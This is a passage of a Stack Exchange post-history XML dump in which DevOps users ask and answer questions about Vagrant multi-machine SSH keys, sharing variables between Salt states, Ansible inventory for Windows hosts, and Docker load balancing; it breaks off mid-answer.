ansible.vm.network &quot;private_network&quot;, ip: &quot;192.168.60.50&quot;&#xD;&#xA;        ansible.vm.provider &quot;virtualbox&quot; do |v|&#xD;&#xA;            v.linked_clone = true&#xD;&#xA;        end&#xD;&#xA;        #Mount the project directory on the guest so we can run the playbooks from there&#xD;&#xA;        ansible.vm.synced_folder &quot;.&quot;, &quot;/data/ansible&quot;, create: true&#xD;&#xA;    end&#xD;&#xA;&#xD;&#xA;What do I need to put in the Vagrantfile to allow the ansible VM to connect to the other VMs without requiring a password or extra manual steps after `vagrgant up`? " ContentLicense="CC BY-SA 3.0" />
  <row Id="4100" PostHistoryTypeId="1" PostId="1237" RevisionGUID="148d22c6-4e22-45e5-ac17-3c6a8435a605" CreationDate="2017-05-25T00:33:20.290" UserId="2901" Text="How Do I Configure SSH Keys In A Vagrant Multi-Machine Setup?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4101" PostHistoryTypeId="3" PostId="1237" RevisionGUID="148d22c6-4e22-45e5-ac17-3c6a8435a605" CreationDate="2017-05-25T00:33:20.290" UserId="2901" Text="&lt;ansible&gt;&lt;vagrant&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4102" PostHistoryTypeId="2" PostId="1238" RevisionGUID="41d68b04-bd87-4b41-aed8-74e981b7ef46" CreationDate="2017-05-25T04:22:19.643" UserId="2845" Text="I am using Salt for deployment and configuration management. In order to attach to a FreeIPA server, I need to randomly generate an OTP token and then use it to attach to IPA. How can I share a variable between SLS files?&#xD;&#xA;&#xD;&#xA;For example,&#xD;&#xA;&#xD;&#xA;**init.sls**:&#xD;&#xA;&#xD;&#xA;    {%- from &quot;freeipa/map.jinja&quot; import client, ipa_host with context %}&#xD;&#xA;    include:&#xD;&#xA;      - freeipa.example&#xD;&#xA;&#xD;&#xA;    freeipa_client_install:&#xD;&#xA;      cmd.run:&#xD;&#xA;      - name: &gt;&#xD;&#xA;        ipa-client-install&#xD;&#xA;        --server server.example.com&#xD;&#xA;        --domain example.com&#xD;&#xA;        --realm EXAMPLE.COM&#xD;&#xA;        --hostname client.example.com&#xD;&#xA;        -w {{ otp }}                                   &lt;===== !!!&#xD;&#xA;        --unattended&#xD;&#xA;&#xD;&#xA;**./freeipa/example.sls**:&#xD;&#xA;&#xD;&#xA;    {% set otp = salt['random.get_str'](20) %}         &lt;===== !!!&#xD;&#xA;&#xD;&#xA;    get_ticket:&#xD;&#xA;      cmd.run:&#xD;&#xA;        - name: kinit service-account@EXAMPLE.COM -kt /tmp/salt-service.keytab&#xD;&#xA;    ipa_host_add:&#xD;&#xA;      cmd.run:&#xD;&#xA;        - name: &gt;&#xD;&#xA;          curl -k&#xD;&#xA;          -H referer:https://{{ client.get(&quot;server&quot;, {}) }}/ipa&#xD;&#xA;          --negotiate -u :&#xD;&#xA;          -H &quot;Content-Type:application/json&quot;&#xD;&#xA;          -H &quot;Accept:applicaton/json&quot;&#xD;&#xA;          -c /tmp/cookiejar -b /tmp/cookiejar&#xD;&#xA;          -X POST&#xD;&#xA;          -d '{&#xD;&#xA;            &quot;id&quot;: 0,&#xD;&#xA;            &quot;method&quot;: &quot;host_add&quot;,&#xD;&#xA;            &quot;params&quot;: [&#xD;&#xA;              [&#xD;&#xA;                &quot;client.example.com&quot;&#xD;&#xA;              ],&#xD;&#xA;              {&#xD;&#xA;                &quot;all&quot;: false,&#xD;&#xA;                &quot;force&quot;: false,&#xD;&#xA;                &quot;no_members&quot;: false,&#xD;&#xA;                &quot;no_reverse&quot;: false,&#xD;&#xA;                &quot;random&quot;: false,&#xD;&#xA;                &quot;raw&quot;: true,&#xD;&#xA;                &quot;userpassword&quot;: &quot;{{ otp }}&quot;,          &lt;==== !!!&#xD;&#xA;                &quot;version&quot;: &quot;2.156&quot;&#xD;&#xA;              }&#xD;&#xA;            ]&#xD;&#xA;          }' https://server.example.com/ipa/json&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;What I find is that everything looks good in example.sls, but I cannot reference this variable in init.sls. Do I need to be doing `salt['random.get_str'](20)` inside of init.sls instead? If so, how can I reference the otp variable in example.sls - or vice-versa - how can I reference the otp variable set in example.sls inside of init.sls?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4103" PostHistoryTypeId="1" PostId="1238" RevisionGUID="41d68b04-bd87-4b41-aed8-74e981b7ef46" CreationDate="2017-05-25T04:22:19.643" UserId="2845" Text="How can I share a (global) variable between salt states?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4104" PostHistoryTypeId="3" PostId="1238" RevisionGUID="41d68b04-bd87-4b41-aed8-74e981b7ef46" CreationDate="2017-05-25T04:22:19.643" UserId="2845" Text="&lt;deployment&gt;&lt;salt&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4105" PostHistoryTypeId="2" PostId="1239" RevisionGUID="a7b41d85-c5c9-40ea-8fab-abf17a250e40" CreationDate="2017-05-25T05:49:41.877" UserId="2906" Text="If there is a better board for this please let me know!&#xD;&#xA;I'm trying to simply connect to a machine and run the win_ping module.&#xD;&#xA;&#xD;&#xA;There are several tutorials online that outline a few key steps:&#xD;&#xA;&#xD;&#xA; - Create a directory ./windows&#xD;&#xA; - Create a file 'hosts' in ./windows&#xD;&#xA; - Create a directory ./windows/group_vars&#xD;&#xA; - Create a file 'windows.yml' in ./windows/group_vars&#xD;&#xA; - Insert several variables with your windows credentials into 'windows.yml'&#xD;&#xA;&#xD;&#xA;The problem is that none of these actually specify where to put these relative to the '.'.  I've tried placing this structure in /etc/ansible/ and unfortunately it's looking like ansible isn't picking this up at all.  I've also tried moving the structure around but no luck.&#xD;&#xA;&#xD;&#xA;How do I get ansible to reference the directory I've created?  I believe ansible.cfg would make sense but I can only see how to point it to a default inventory file.  Interestingly enough - even adding a group called 'windows' in the base hosts file and calling ansible with the group there - it says no hosts found.  I have also uncommented the inventory location in ansible.cfg to point to /etc/ansible/hosts and it still says no hosts found when calling 'ansible windows -m ping' (or win_ping for that matter)" ContentLicense="CC BY-SA 3.0" />
  <row Id="4106" PostHistoryTypeId="1" PostId="1239" RevisionGUID="a7b41d85-c5c9-40ea-8fab-abf17a250e40" CreationDate="2017-05-25T05:49:41.877" UserId="2906" Text="Connecting to a Windows machine with Ansible" ContentLicense="CC BY-SA 3.0" />
  <row Id="4107" PostHistoryTypeId="3" PostId="1239" RevisionGUID="a7b41d85-c5c9-40ea-8fab-abf17a250e40" CreationDate="2017-05-25T05:49:41.877" UserId="2906" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4108" PostHistoryTypeId="2" PostId="1240" RevisionGUID="6727c4e5-5014-4167-b64b-07996be66aab" CreationDate="2017-05-25T07:40:03.717" UserId="375" Text="There are two places where Ansible looks for `group_vars` subdirectory:&#xA;&#xA;- the playbook directory - the one containing a playbook you run&#xA;- the inventory directory - the one specified with `-i` option at run time, or a default one (usually `/etc/ansible`, or `/usr/local/etc/ansible`)&#xA;&#xA;In most typical scenario place `group_vars` along with `playbook.yml`.&#xA;&#xA;----&#xA;&#xA;This step is either a part of a longer procedure, or a mistake (it looks more reasonable to use `group_vars/windows`):&#xA;&#xA;&gt; - Create a directory `./windows`" ContentLicense="CC BY-SA 3.0" />
  <row Id="4109" PostHistoryTypeId="5" PostId="1240" RevisionGUID="6db69f8b-d729-499a-8cc0-fdb083db87d9" CreationDate="2017-05-25T07:45:46.680" UserId="375" Comment="deleted 115 characters in body; added 66 characters in body; added 13 characters in body; added 27 characters in body; added 14 characters in body; edited body" Text="There are two places where Ansible looks for `group_vars` subdirectory:&#xA;&#xA;- the playbook directory - the one containing a playbook you run&#xA;- the inventory directory - the one specified with `-i` option at run time, or a default one (usually `/etc/ansible`, or `/usr/local/etc/ansible`)&#xA;&#xA;In most typical scenario you might place `group_vars` along with the `playbook.yml`.&#xA;&#xA;The example you posted uses the second method, so to reference the files you need to add `-i` to the command:&#xA;&#xA;    ansible windows -m ping -i ./windows" ContentLicense="CC BY-SA 3.0" />
  <row Id="4110" PostHistoryTypeId="2" PostId="1241" RevisionGUID="f630482a-99c9-454c-8010-58f19087e958" CreationDate="2017-05-25T08:19:20.420" UserId="375" Text="There is no general method and it might depend on how `boxcutter/ol67` was packed.&#xA;&#xA;1. The easiest method would be to define the password in the Ansible inventory file:&#xA;&#xA;        [oracle-vm:vars]&#xA;        ansible_ssh_user=vagrant&#xA;        ansible_ssh_pass=vagrant&#xA;&#xA;2. The second method would be to leave the insecure private key configured on the `oracle-vm` machine and inject the private key to the `ansible` VM:&#xA;&#xA;        config.vm.provision &quot;shell&quot; do |s|&#xA;          ssh_insecure_key = File.readlines(&quot;#{Dir.home}/.vagrant.d/insecure_private_key&quot;).first.strip&#xA;          s.inline = &lt;&lt;-SHELL&#xA;            echo #{ssh_insecure_key} &gt;&gt; /home/vagrant/.ssh/id_rsa&#xA;            chown vagrant /home/vagrant/.ssh/id_rsa&#xA;            chmod 400 /home/vagrant/.ssh/id_rsa&#xA;          SHELL&#xA;        end&#xA;&#xA;3. Generate the key pair beforehand on the host machine, inject private key to Ansible VM, public key to Oracle's `authorized_keys`&#xA;&#xA;4. Generate the key pair on Ansible VM, copy the public key to Oracle VM.&#xA;&#xA;And the list does not end here, it depends on required security." ContentLicense="CC BY-SA 3.0" />
  <row Id="4111" PostHistoryTypeId="5" PostId="1241" RevisionGUID="54113143-f772-4456-a456-46c3c9f39d30" CreationDate="2017-05-25T08:28:32.633" UserId="375" Comment="added 76 characters in body" Text="There is no general method and it might depend on how `boxcutter/ol67` was packed.&#xA;&#xA;1. The easiest method would be to define the password in the Ansible inventory file:&#xA;&#xA;        [oracle-vm:vars]&#xA;        ansible_ssh_user=vagrant&#xA;        ansible_ssh_pass=vagrant&#xA;&#xA;2. The second method would be to leave the insecure private key configured on the `oracle-vm` machine and inject the private key to the `ansible` VM:&#xA;&#xA;        config.vm.provision &quot;shell&quot; do |s|&#xA;          ssh_insecure_key = File.readlines(&quot;#{Dir.home}/.vagrant.d/insecure_private_key&quot;).first.strip&#xA;          s.inline = &lt;&lt;-SHELL&#xA;            echo #{ssh_insecure_key} &gt;&gt; /home/vagrant/.ssh/id_rsa&#xA;            chown vagrant /home/vagrant/.ssh/id_rsa&#xA;            chmod 400 /home/vagrant/.ssh/id_rsa&#xA;          SHELL&#xA;        end&#xA;&#xA;3. Generate the key pair beforehand on the host machine, inject private key to Ansible VM, public key to Oracle's `authorized_keys`.&#xA;&#xA;4. Generate the key pair on Ansible VM, copy the public key to Oracle VM using shell provisioner and inject `vagrant` as password for `ssh-copy-id`.&#xA;&#xA;And the list does not end here, it depends on required security." ContentLicense="CC BY-SA 3.0" />
  <row Id="4112" PostHistoryTypeId="5" PostId="1239" RevisionGUID="e8cf8bf1-e126-4612-bea5-1cf873a24315" CreationDate="2017-05-25T08:28:39.910" UserId="375" Comment="improve formatting" Text="I'm trying to simply connect to a machine and run the win_ping module.&#xD;&#xA;&#xD;&#xA;There are several tutorials online that outline a few key steps:&#xD;&#xA;&#xD;&#xA; - Create a directory `./windows`&#xA; - Create a file `hosts` in `./windows`&#xA; - Create a directory `./windows/group_vars`&#xA; - Create a file `windows.yml` in `./windows/group_vars`&#xA; - Insert several variables with your Windows credentials into `windows.yml`&#xA;&#xD;&#xA;The problem is that none of these actually specify where to put these relative to the '.'.  I've tried placing this structure in `/etc/ansible/` and unfortunately it's looking like Ansible isn't picking this up at all.  I've also tried moving the structure around but no luck.&#xD;&#xA;&#xD;&#xA;How do I get ansible to reference the directory I've created?  I believe `ansible.cfg` would make sense but I can only see how to point it to a default inventory file.  Interestingly enough - even adding a group called 'windows' in the base hosts file and calling ansible with the group there - it says no hosts found.  I have also uncommented the inventory location in ansible.cfg to point to `/etc/ansible/hosts` and it still says no hosts found when calling `ansible windows -m ping` (or `win_ping` for that matter)" ContentLicense="CC BY-SA 3.0" />
  <row Id="4113" PostHistoryTypeId="24" PostId="1239" RevisionGUID="e8cf8bf1-e126-4612-bea5-1cf873a24315" CreationDate="2017-05-25T08:28:39.910" Comment="Proposed by 375 approved by -1 edit id of 350" ContentLicense="CC BY-SA 3.0" />
  <row Id="4114" PostHistoryTypeId="5" PostId="1239" RevisionGUID="48ce8b92-6777-40e8-9a85-4e66ad2bb8b7" CreationDate="2017-05-25T08:28:39.910" UserId="40" Comment="improve formatting" Text="I'm trying to simply connect to a machine and run the win_ping module.&#xD;&#xA;&#xD;&#xA;There are several tutorials online that outline a few key steps:&#xD;&#xA;&#xD;&#xA; - Create a directory `./windows`&#xD;&#xA; - Create a file `hosts` in `./windows`&#xD;&#xA; - Create a directory `./windows/group_vars`&#xD;&#xA; - Create a file `windows.yml` in `./windows/group_vars`&#xD;&#xA; - Insert several variables with your Windows credentials into `windows.yml`&#xD;&#xA;&#xD;&#xA;The problem is that none of these actually specify where to put these relative to the '.'.  I've tried placing this structure in `/etc/ansible/` and unfortunately it's looking like Ansible isn't picking this up at all.  I've also tried moving the structure around but no luck.&#xD;&#xA;&#xD;&#xA;How do I get Ansible to reference the directory I've created?  I believe `ansible.cfg` would make sense but I can only see how to point it to a default inventory file. Interestingly enough - even adding a group called 'windows' in the base hosts file and calling ansible with the group there - it says no hosts found. I have also uncommented the inventory location in ansible.cfg to point to `/etc/ansible/hosts` and it still says no hosts found when calling `ansible windows -m ping` (or `win_ping` for that matter)." ContentLicense="CC BY-SA 3.0" />
  <row Id="4115" PostHistoryTypeId="5" PostId="1237" RevisionGUID="96fba7cd-a2bc-420b-9651-cccf8d7932cc" CreationDate="2017-05-25T10:45:23.133" UserId="375" Comment="spelling, capitalisation" Text="I have 4 VMs in my Vagrantfile - 3 application servers and an Ansible control host.&#xD;&#xA;&#xD;&#xA;I only use Vagrant to create the VMs as I provision them manually from the ansible control host because I am still creating/editing the ansible scripts.&#xD;&#xA;&#xD;&#xA;I can do `vagrant ssh ansible` and `vagrant ssh app1/2/3` etc. but when I try to do `ansible-playbook oracle.yml` from the Ansible control host, SSH fails with&#xD;&#xA;&#xD;&#xA;    fatal: [192.168.60.10]: UNREACHABLE! =&gt; {&quot;changed&quot;: false, &quot;msg&quot;: &quot;SSH encountered an unknown error during the connection. We recommend you re-run the command using -vvvv, which will enable SSH debugging output to help diagnose the issue&quot;, &quot;unreachable&quot;: true}&#xD;&#xA;&#xD;&#xA;I can successfully ssh from the Ansible VM to the Oracle VM using user vagrant and password vagrant.&#xD;&#xA;&#xD;&#xA;The key parts of my Vagrantfile are:&#xD;&#xA;&#xD;&#xA;    config.ssh.insert_key = false&#xD;&#xA;&#xD;&#xA;    config.vm.define &quot;db&quot; do |db|&#xD;&#xA;        db.vm.box = &quot;boxcutter/ol67&quot;&#xD;&#xA;        db.vm.hostname = &quot;oracle-vm&quot;&#xD;&#xA;        db.vm.network &quot;forwarded_port&quot;, guest: 22, host: 2201, id: &quot;ssh&quot;, auto_correct: false&#xD;&#xA;        db.vm.network &quot;forwarded_port&quot;, guest: 1521, host: 1521&#xD;&#xA;        db.vm.network &quot;private_network&quot;, ip: &quot;192.168.60.10&quot;&#xD;&#xA;        db.vm.provider &quot;virtualbox&quot; do |v|&#xD;&#xA;            v.name = &quot;oracle-vm&quot;&#xD;&#xA;            v.linked_clone = true&#xD;&#xA;            v.memory = 2048&#xD;&#xA;            v.cpus = 2&#xD;&#xA;        end&#xD;&#xA;    end&#xD;&#xA;&#xD;&#xA;    #Optional ansible control machine for Windows users&#xD;&#xA;    config.vm.define &quot;ansible&quot;, autostart: false do |ansible|&#xD;&#xA;        ansible.vm.box = &quot;williamyeh/ansible&quot;&#xD;&#xA;        ansible.vm.hostname = &quot;ansible-vm&quot;&#xD;&#xA;        ansible.vm.network &quot;forwarded_port&quot;, guest: 22, host: 2204, id: &quot;ssh&quot;, auto_correct: false&#xD;&#xA;        ansible.vm.network &quot;private_network&quot;, ip: &quot;192.168.60.50&quot;&#xD;&#xA;        ansible.vm.provider &quot;virtualbox&quot; do |v|&#xD;&#xA;            v.linked_clone = true&#xD;&#xA;        end&#xD;&#xA;        #Mount the project directory on the guest so we can run the playbooks from there&#xD;&#xA;        ansible.vm.synced_folder &quot;.&quot;, &quot;/data/ansible&quot;, create: true&#xD;&#xA;    end&#xD;&#xA;&#xD;&#xA;What do I need to put in the Vagrantfile to allow the Ansible VM to connect to the other VMs without requiring a password or extra manual steps after `vagrant up`? " ContentLicense="CC BY-SA 3.0" />
  <row Id="4116" PostHistoryTypeId="24" PostId="1237" RevisionGUID="96fba7cd-a2bc-420b-9651-cccf8d7932cc" CreationDate="2017-05-25T10:45:23.133" Comment="Proposed by 375 approved by 40, 47 edit id of 351" ContentLicense="CC BY-SA 3.0" />
  <row Id="4117" PostHistoryTypeId="2" PostId="1242" RevisionGUID="e5859aa8-e73c-4fbe-92a1-5096a95e1f6c" CreationDate="2017-05-25T11:31:52.910" UserId="46" Text="Also, would the routing mesh act as an application load balancer?&#xD;&#xA;&#xD;&#xA;Like for example, if I am having a Docker cluster in AWS, how does the ELB added to it, work? And how would that be different from what the internal load balancer is doing?&#xD;&#xA;&#xD;&#xA;Or, did I get the concept of the routing mesh completely wrong?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4118" PostHistoryTypeId="1" PostId="1242" RevisionGUID="e5859aa8-e73c-4fbe-92a1-5096a95e1f6c" CreationDate="2017-05-25T11:31:52.910" UserId="46" Text="In what all cases would one use an external load balancer over the routing mesh in a Docker cluster?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4119" PostHistoryTypeId="3" PostId="1242" RevisionGUID="e5859aa8-e73c-4fbe-92a1-5096a95e1f6c" CreationDate="2017-05-25T11:31:52.910" UserId="46" Text="&lt;docker&gt;&lt;docker-swarm&gt;&lt;load-balance&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4120" PostHistoryTypeId="4" PostId="1242" RevisionGUID="0ac9ef17-4312-4d58-bf95-9c3ed306550f" CreationDate="2017-05-25T12:32:53.343" UserId="46" Comment="edited title" Text="In what all cases would one use an external load balancer over the Ingress routing mesh in a Docker cluster?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4121" PostHistoryTypeId="2" PostId="1243" RevisionGUID="f08ba7f4-4f86-482e-b72c-0f7278fa2561" CreationDate="2017-05-25T13:28:58.000" UserId="2912" Text="I use file.managed to add a file:&#xD;&#xA;&#xD;&#xA;    /home/vagrant/.bash_profile:&#xD;&#xA;      file.append:&#xD;&#xA;        - name: /home/vagrant/.bash_profile&#xD;&#xA;        - source: salt://config/user/.bash_profile&#xD;&#xA;        - user: vagrant&#xD;&#xA;        - group: vagrant&#xD;&#xA;        - template: jinja&#xD;&#xA;        - mode: 0775&#xD;&#xA;        - replace: true&#xD;&#xA;&#xD;&#xA;The file is added; however the file is owned by root/root and does not change to by owned by vagrant.&#xD;&#xA;&#xD;&#xA;Using Vagrant 1.8.5.&#xD;&#xA;Salt is configured to be masterless and file client is local." ContentLicense="CC BY-SA 3.0" />
  <row Id="4122" PostHistoryTypeId="1" PostId="1243" RevisionGUID="f08ba7f4-4f86-482e-b72c-0f7278fa2561" CreationDate="2017-05-25T13:28:58.000" UserId="2912" Text="SaltStack and Vagrant adding files" ContentLicense="CC BY-SA 3.0" />
  <row Id="4123" PostHistoryTypeId="3" PostId="1243" RevisionGUID="f08ba7f4-4f86-482e-b72c-0f7278fa2561" CreationDate="2017-05-25T13:28:58.000" UserId="2912" Text="&lt;vagrant&gt;&lt;salt&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4124" PostHistoryTypeId="5" PostId="1237" RevisionGUID="b71c7022-702d-4ecc-b2b8-45a6c67bedf5" CreationDate="2017-05-25T15:55:54.750" UserId="2901" Comment="Make a note that security isn't really an issue" Text="I have 4 VMs in my Vagrantfile - 3 application servers and an Ansible control host.&#xD;&#xA;&#xD;&#xA;I only use Vagrant to create the VMs as I provision them manually from the ansible control host because I am still creating/editing the ansible scripts.&#xD;&#xA;&#xD;&#xA;I can do `vagrant ssh ansible` and `vagrant ssh app1/2/3` etc. but when I try to do `ansible-playbook oracle.yml` from the Ansible control host, SSH fails with&#xD;&#xA;&#xD;&#xA;    fatal: [192.168.60.10]: UNREACHABLE! =&gt; {&quot;changed&quot;: false, &quot;msg&quot;: &quot;SSH encountered an unknown error during the connection. We recommend you re-run the command using -vvvv, which will enable SSH debugging output to help diagnose the issue&quot;, &quot;unreachable&quot;: true}&#xD;&#xA;&#xD;&#xA;I can successfully ssh from the Ansible VM to the Oracle VM using user vagrant and password vagrant.&#xD;&#xA;&#xD;&#xA;The key parts of my Vagrantfile are:&#xD;&#xA;&#xD;&#xA;    config.ssh.insert_key = false&#xD;&#xA;&#xD;&#xA;    config.vm.define &quot;db&quot; do |db|&#xD;&#xA;        db.vm.box = &quot;boxcutter/ol67&quot;&#xD;&#xA;        db.vm.hostname = &quot;oracle-vm&quot;&#xD;&#xA;        db.vm.network &quot;forwarded_port&quot;, guest: 22, host: 2201, id: &quot;ssh&quot;, auto_correct: false&#xD;&#xA;        db.vm.network &quot;forwarded_port&quot;, guest: 1521, host: 1521&#xD;&#xA;        db.vm.network &quot;private_network&quot;, ip: &quot;192.168.60.10&quot;&#xD;&#xA;        db.vm.provider &quot;virtualbox&quot; do |v|&#xD;&#xA;            v.name = &quot;oracle-vm&quot;&#xD;&#xA;            v.linked_clone = true&#xD;&#xA;            v.memory = 2048&#xD;&#xA;            v.cpus = 2&#xD;&#xA;        end&#xD;&#xA;    end&#xD;&#xA;&#xD;&#xA;    #Optional ansible control machine for Windows users&#xD;&#xA;    config.vm.define &quot;ansible&quot;, autostart: false do |ansible|&#xD;&#xA;        ansible.vm.box = &quot;williamyeh/ansible&quot;&#xD;&#xA;        ansible.vm.hostname = &quot;ansible-vm&quot;&#xD;&#xA;        ansible.vm.network &quot;forwarded_port&quot;, guest: 22, host: 2204, id: &quot;ssh&quot;, auto_correct: false&#xD;&#xA;        ansible.vm.network &quot;private_network&quot;, ip: &quot;192.168.60.50&quot;&#xD;&#xA;        ansible.vm.provider &quot;virtualbox&quot; do |v|&#xD;&#xA;            v.linked_clone = true&#xD;&#xA;        end&#xD;&#xA;        #Mount the project directory on the guest so we can run the playbooks from there&#xD;&#xA;        ansible.vm.synced_folder &quot;.&quot;, &quot;/data/ansible&quot;, create: true&#xD;&#xA;    end&#xD;&#xA;&#xD;&#xA;What do I need to put in the Vagrantfile to allow the Ansible VM to connect to the other VMs without requiring a password or extra manual steps after `vagrant up`? &#xD;&#xA;&#xD;&#xA;EDIT: This is just for development testing on a private network on developers PCs so security is not really an issue and comes second to ease of implementation and smooth user experience." ContentLicense="CC BY-SA 3.0" />
  <row Id="4125" PostHistoryTypeId="2" PostId="1244" RevisionGUID="99fdae76-fd06-4b57-b4a8-45c888996eca" CreationDate="2017-05-25T16:34:37.267" UserId="2463" Text="An idea key to your question is that of _immutable infrastructure_, which is the idea that an image is built once, deployed many times, and never changed at runtime. If the contents of the image need to change, an entirely new image is built from scratch and new instances replace the ones running the old image.&#xD;&#xA;&#xD;&#xA;This is the opposite of what you might now call _mutable infrastructure, where often a machine (or container) is booted from a generic OS image and then its contents managed by a configuration management tool on an ongoing basis. In this model, instances generally live longer and are changed in-place to respond to new requirements.&#xD;&#xA;&#xD;&#xA;Packer is intended as a building block for _immutable_ infrastructure. It is intended to orchestrate the creation of customized images that boot immediately into the desired state. If immutable infrastructure is the right fit for your use-case (which is not necessarily the case!) then indeed tools such as Ansible, Chef and Puppet _may_ be unnecessary.&#xD;&#xA;&#xD;&#xA;However, running these tools in a &quot;one-shot&quot; mode (e.g. _Chef Solo_) with Packer can often be useful for non-trivial images: these tools generally provide more powerful abstractions than Packer alone provides, making it easier to do things such as configure the init system to run certain services, or create user accounts. In this case, the configuration management tool would run as a _provisioner_ in Packer, creating the necessary configuration within the image, but is not involved in the ongoing upkeep of instances booted from the image.&#xD;&#xA;&#xD;&#xA;Most practical systems include a mixture of mutable and immutable infrastructure, since e.g. immutable infrastructure is inappropriate for stateful, centralized systems. In that case, using a traditional configuration management system can be useful to create a common base of functionality between your immutable and mutable systems, applying configuration in a one-shot way for immutable images and in an ongoing, stateful way to long-running, mutable machines.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4126" PostHistoryTypeId="2" PostId="1245" RevisionGUID="d1a15f40-f309-43a4-afab-f6b43b98530e" CreationDate="2017-05-25T16:48:33.063" UserId="1046" Text="I have a salt master with four environments configured (base, dev, staging, prod) &#xD;&#xA;&#xD;&#xA;I am initially trying to set a pillar item to track which envrionment is in use, namely core:env &#xD;&#xA;&#xD;&#xA;However when I try to switch environments using the following command I always get the dev environment (it doesn't matter what env I put)&#xD;&#xA;&#xD;&#xA;`salt 'deploy*' pillar.get core:env saltenv=base`&#xD;&#xA;&#xD;&#xA;Here are my config files &#xD;&#xA;&#xD;&#xA;    /etc/salt/master (partial)&#xD;&#xA;    file_roots:&#xD;&#xA;      base:&#xD;&#xA;        - /srv/salt/base/states&#xD;&#xA;      dev:&#xD;&#xA;        - /srv/salt/dev/states&#xD;&#xA;        - /srv/salt/base/states&#xD;&#xA;      staging:&#xD;&#xA;        - /srv/salt/staging/states&#xD;&#xA;        - /srv/salt/base/states&#xD;&#xA;      prod:&#xD;&#xA;        - /srv/salt/prod/states&#xD;&#xA;        - /srv/salt/base/states&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    pillar_roots:&#xD;&#xA;      base:&#xD;&#xA;        - /srv/pillar/base/pillars&#xD;&#xA;      dev:&#xD;&#xA;        - /srv/pillar/dev/pillars&#xD;&#xA;        - /srv/pillar/base/pillars&#xD;&#xA;      staging:&#xD;&#xA;        - /srv/pillar/staging/pillars&#xD;&#xA;        - /srv/pillar/base/pillars&#xD;&#xA;      prod:&#xD;&#xA;        - /srv/pillar/prod/pillars&#xD;&#xA;        - /srv/pillar/base/pillars&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;and my pillars &#xD;&#xA;&#xD;&#xA;    root@Salt-Master:/srv/pillar# cat base/pillars/top.sls&#xD;&#xA;    base:&#xD;&#xA;      'deploy':&#xD;&#xA;        - core&#xD;&#xA;    root@Salt-Master:/srv/pillar# cat base/pillars/core.sls&#xD;&#xA;    core:&#xD;&#xA;      env: base&#xD;&#xA;    root@Salt-Master:/srv/pillar# cat dev/pillars/top.sls&#xD;&#xA;    dev:&#xD;&#xA;      'deploy':&#xD;&#xA;        - core&#xD;&#xA;    root@Salt-Master:/srv/pillar# cat dev/pillars/core.sls&#xD;&#xA;    core:&#xD;&#xA;      env: dev&#xD;&#xA;&#xD;&#xA;(the rest follow the same pattern) &#xD;&#xA;&#xD;&#xA;I have other data in the base pillar that is being pulled out, but the core:env item won't change from dev. &#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4127" PostHistoryTypeId="1" PostId="1245" RevisionGUID="d1a15f40-f309-43a4-afab-f6b43b98530e" CreationDate="2017-05-25T16:48:33.063" UserId="1046" Text="Salt Stack environments ignoring saltenv" ContentLicense="CC BY-SA 3.0" />
  <row Id="4128" PostHistoryTypeId="3" PostId="1245" RevisionGUID="d1a15f40-f309-43a4-afab-f6b43b98530e" CreationDate="2017-05-25T16:48:33.063" UserId="1046" Text="&lt;configuration&gt;&lt;salt&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4129" PostHistoryTypeId="2" PostId="1246" RevisionGUID="c96bfc1f-2b42-43ad-bbe4-7886b2df78e0" CreationDate="2017-05-25T18:13:53.750" UserId="2845" Text="You aren't actually using file.managed, you are using file.append - so salt is expecting to add onto the end of an existing file. This may be the cause of your issue. Instead try:&#xD;&#xA;&#xD;&#xA;    /home/vagrant/.bash_profile:&#xD;&#xA;      file.managed:&#xD;&#xA;        - name: /home/vagrant/.bash_profile&#xD;&#xA;        - source: salt://config/user/.bash_profile&#xD;&#xA;        - mode: 0775&#xD;&#xA;        - user: vagrant&#xD;&#xA;        - group: vagrant&#xD;&#xA;        - template: jinja&#xD;&#xA;        - replace: true&#xD;&#xA;&#xD;&#xA;Also, be sure you are using the [latest version](https://repo.saltstack.com/) of Salt Stack, 2016.11" ContentLicense="CC BY-SA 3.0" />
  <row Id="4130" PostHistoryTypeId="2" PostId="1247" RevisionGUID="e19cb0cf-b52b-4814-9362-289dc1a7802a" CreationDate="2017-05-25T22:44:51.087" UserId="2901" Text="Based on techrafs 3rd suggestion I did the following:&#xD;&#xA;&#xD;&#xA; - vagrant up ansible&#xD;&#xA; - ssh-keygen (no password just pressed enter)&#xD;&#xA; - copied .ssh/id_rsa and .ssh/id_rsa to the project&#xD;&#xA; - vagrant destroy ansible&#xD;&#xA; - modified the Vagrantfile to copy the id_rsa to all hosts&#xD;&#xA; - modified the Vagrantfile to copy the id_rsa.pub into authorized_keys on all hosts&#xD;&#xA; - modified the Vagrantfile to disable host checking&#xD;&#xA;&#xD;&#xA;Vagrantfile snippet:&#xD;&#xA;&#xD;&#xA;     config.vm.provision &quot;file&quot;, source: &quot;id_rsa&quot;, destination: &quot;/home/vagrant/.ssh/id_rsa&quot;&#xD;&#xA;     public_key = File.read(&quot;id_rsa.pub&quot;)&#xD;&#xA;     config.vm.provision :shell, :inline =&gt;&quot;&#xD;&#xA;         echo 'Copying ansible-vm public SSH Keys to the VM'&#xD;&#xA;         mkdir -p /home/vagrant/.ssh&#xD;&#xA;         chmod 700 /home/vagrant/.ssh&#xD;&#xA;         echo '#{public_key}' &gt;&gt; /home/vagrant/.ssh/authorized_keys&#xD;&#xA;         chmod -R 600 /home/vagrant/.ssh/authorized_keys&#xD;&#xA;         echo 'Host 192.168.*.*' &gt;&gt; /home/vagrant/.ssh/config&#xD;&#xA;         echo 'StrictHostKeyChecking no' &gt;&gt; 